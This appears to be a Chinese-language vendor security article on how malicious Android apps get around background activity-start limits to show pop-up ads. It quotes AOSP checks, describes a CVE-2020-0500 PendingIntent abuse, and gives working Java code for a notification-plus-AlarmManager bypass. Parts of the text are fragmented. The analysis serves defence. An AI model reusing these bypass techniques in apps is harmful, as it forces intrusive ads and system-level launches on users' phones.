手机频繁弹出广告,已经成为不少安卓用户的烦恼。这些粗制滥造的广告,通常在用户正常使用手机时弹出,霸占锁屏,占据桌面,覆盖正常使用的应用程序,甚至严重影响用户对手机的正常使用。
图 形形色色的后台弹窗广告
rameworks/base/services/core/java/com/android/server/wm/ActivityStarter.java
的
shouldAbortBackgroundActivityStart
函数中,该函数先是对调用app进行一些判断,如果满足条件,则直接允许后台弹窗。这里以Android 12代码为例,列觉一些重要条件:
final int callingAppId = UserHandle.getAppId(callingUid); if (callingUid == Process.ROOT_UID || callingAppId == Process.SYSTEM_UID
|| callingAppId == Process.NFC_UID) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed for important callingUid (" + callingUid + ")");
}
return false;
}
// Always allow home application to start activities.
if (isHomeApp(callingUid, callingPackage)) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed for home app callingUid (" + callingUid + ")");
}
return false;
}
// IME should always be allowed to start activity, like IME settings.
final WindowState imeWindow = mRootWindowContainer.getCurrentInputMethodWindow();
if (imeWindow != null && callingAppId == imeWindow.mOwnerUid) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed for active ime (" + callingUid + ")");
}
return false;
}
// Normal apps with visible app window will be allowed to start activity if app switching
// is allowed, or apps like live wallpaper with non app visible window will be allowed.
if (((appSwitchAllowed || mService.mActiveUids.hasNonAppVisibleWindow(callingUid))
&& callingUidHasAnyVisibleWindow)
|| isCallingUidPersistentSystemProcess) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: callingUidHasAnyVisibleWindow = " + callingUid
+ ", isCallingUidPersistentSystemProcess = "
+ isCallingUidPersistentSystemProcess);
}
return false;
if (realCallingUidHasAnyVisibleWindow) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: realCallingUid (" + realCallingUid
+ ") has visible (non-toast) window");
}
return false;
}
allowBackgroundActivityStart
为true),则允许后台启动。// if the realCallingUid is a persistent system process, abort if the IntentSender
// wasn't allowed to start an activity
if (isRealCallingUidPersistentSystemProcess && allowBackgroundActivityStart) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: realCallingUid (" + realCallingUid
+ ") is persistent system process AND intent sender allowed "
+ "(allowBackgroundActivityStart = true)");
}
return false;
}
// don't abort if the callingUid has SYSTEM_ALERT_WINDOW permission
if (mService.hasSystemAlertWindowPermission(callingUid, callingPid, callingPackage)) {
Slog.w(TAG, "Background activity start for " + callingPackage
+ " allowed because SYSTEM_ALERT_WINDOW permission is granted.");
return false;
}
shouldAbortBackgroundActivityStart
函数会进入另一层判断逻辑,位于 frameworks/base/services/core/java/com/android/server/wm/BackgroundLaunchProcessController.java
中的areBackgroundActivityStartsAllowed
函数,这个函数做的一些判断包括:// Allow if the caller has an activity in any foreground task.
if (appSwitchAllowed && hasActivityInVisibleTask) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "[Process(" + pid
+ ")] Activity start allowed: process has activity in foreground task");
}
return true;
}
// Allow if the caller is bound by a UID that's currently foreground.
if (isBoundByForegroundUid()) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "[Process(" + pid
+ ")] Activity start allowed: process bound by foreground uid");
}
return true;
}
// Allow if the flag was explicitly set.
if (isBackgroundStartAllowedByToken(uid, packageName, isCheckingForFgsStart)) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "[Process(" + pid
+ ")] Activity start allowed: process allowed by token");
}
return true;
}
shouldAbortBackgroundActivityStart
函数打印后台启动失败的日志, 返回true,拒绝后台弹窗。// anything that has fallen through would currently be aborted Slog.w(TAG, "Background activity start [callingPackage: " + callingPackage + "; callingUid: " + callingUid + "; appSwitchAllowed: " + appSwitchAllowed + "; isCallingUidForeground: " + isCallingUidForeground + "; callingUidHasAnyVisibleWindow: " + callingUidHasAnyVisibleWindow + "; callingUidProcState: " + DebugUtils.valueToString(ActivityManager.class, "PROCESS_STATE_", callingUidProcState) + "; isCallingUidPersistentSystemProcess: " + isCallingUidPersistentSystemProcess + "; realCallingUid: " + realCallingUid + "; isRealCallingUidForeground: " + isRealCallingUidForeground + "; realCallingUidHasAnyVisibleWindow: " + realCallingUidHasAnyVisibleWindow + "; realCallingUidProcState: " + DebugUtils.valueToString(ActivityManager.class, "PROCESS_STATE_", realCallingUidProcState) + "; isRealCallingUidPersistentSystemProcess: " + isRealCallingUidPersistentSystemProcess + "; originatingPendingIntent: " + originatingPendingIntent + "; allowBackgroundActivityStart: " + allowBackgroundActivityStart + "; intent: " + intent + "; callerApp: " + callerApp + "; inVisibleTask: " + (callerApp != null && callerApp.hasActivityInVisibleTask()) + "]"); return true;
InputMethodManagerService.java
中存在着不安全的PendingIntent,用于设置输入法,并没有设置FLAG_IMMUTABLE, 该系统身份的PendingIntent可以通过系统API ActivityManager.getRunningServiceControlPanel
获得。mCurIntent = new Intent(InputMethod.SERVICE_INTERFACE);
mCurIntent.setComponent(info.getComponent());
mCurIntent.putExtra(Intent.EXTRA_CLIENT_LABEL,
com.android.internal.R.string.input_method_binding_label);
mCurIntent.putExtra(Intent.EXTRA_CLIENT_INTENT, PendingIntent.getActivity(
mContext, 0, new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS), 0));
漏洞利用代码在样本中进行了加固。但运行样本,可以观察到样本利用CVE-2020-0500的动态特征,以uid 1000 SYSTEM_UID的身份,启动自身,且Intent action为 android.settings.INPUT_METHOD_SETTINGS ,包名为样本自身。
12-07 10:04:33.413 1132 3829 I ActivityTaskManager: START u0 {act=android.settings.INPUT_METHOD_SETTINGS dat=launcher://launcher pkg=com.smoothandroid.server.ctslink cmp=com.smoothandroid.server.ctslink/com.netandroid.server.ctselves.function.splash.LSplashActivity mCallingUid=1000} from uid 1000 and from pid -1
恶意App创建虚拟显示VirutualDisplay,在该VirutalDisplay上显示一个Presentation,然后延时启动弹窗线程
Presentation其实就是一个自定义的在非主屏上显示的Dialog,而弹窗线程就是简单的打开Activitypublic void createNotify(Context context, Intent intent) {
m_pi = PendingIntent.getActivity(context, PI_REQUEST_CODE, intent, PendingIntent.FLAG_MUTABLE);
NotificationManager nmgr = (NotificationManager) context.getSystemService(NotificationManager.class);
NotificationChannel channel = new NotificationChannel("keepalive", "background", NotificationManager.IMPORTANCE_HIGH);
nmgr.createNotificationChannel(channel);
Notification.Builder builder = new Notification.Builder(context, "keepalive");
builder.setSmallIcon(R.drawable.ic_launcher_background);
builder.setContentIntent(m_pi);
nmgr.notify("hide_self", 10103, builder.build());
nmgr.cancel("hide_self", 10103);
}
PendingIntent.getActivity
调用传入的参数,跟第一步创建通知调用 PendingIntent.getActivity
的参数,完全一致。public void alarmManagerStart(Context context, Intent intent) {
// this PendingIntent is the same as the one in createNotify
PendingIntent pi = PendingIntent.getActivity(context, PI_REQUEST_CODE, intent, PendingIntent.FLAG_MUTABLE);
AlarmManager almgr = (AlarmManager) context.getSystemService(AlarmManager.class);
almgr.setExact(AlarmManager.RTC, System.currentTimeMillis() + 200L, pi);
}
$ adb shell dumpsys activity | grep -C10 PendingIntentRecord
* com.ziwu.startactivitybynotifandalarmmgr: 1 items
* com.ziwu.startactivitybynotifandalarmmgr: 1 items
#0: PendingIntentRecord{999af12 com.ziwu.startactivitybynotifandalarmmgr startActivity (allowlist: 27d0cc6:+30s0ms/0/NOTIFICATION_SERVICE/NotificationManagerService)}
同时由于AlarmManager调用导致realCallingUid为1000,因此符合下面的放行条件
// if the realCallingUid is a persistent system process, abort if the IntentSender
// wasn't allowed to start an activity
if (isRealCallingUidPersistentSystemProcess && allowBackgroundActivityStart) {
if (DEBUG_ACTIVITY_STARTS) {
Slog.d(TAG, "Activity start allowed: realCallingUid (" + realCallingUid
+ ") is persistent system process AND intent sender allowed "
+ "(allowBackgroundActivityStart = true)");
}
return false;
}
在2023年,经智能护盾发现同步下架恶意应用519款,封禁高风险开发者130家,拦截恶意弹窗类应用10亿次, 并且应用智能管控每天拦截1500W次以上的恶意后台弹窗行为, 此类问题的客诉较去年下降80%。
最新动态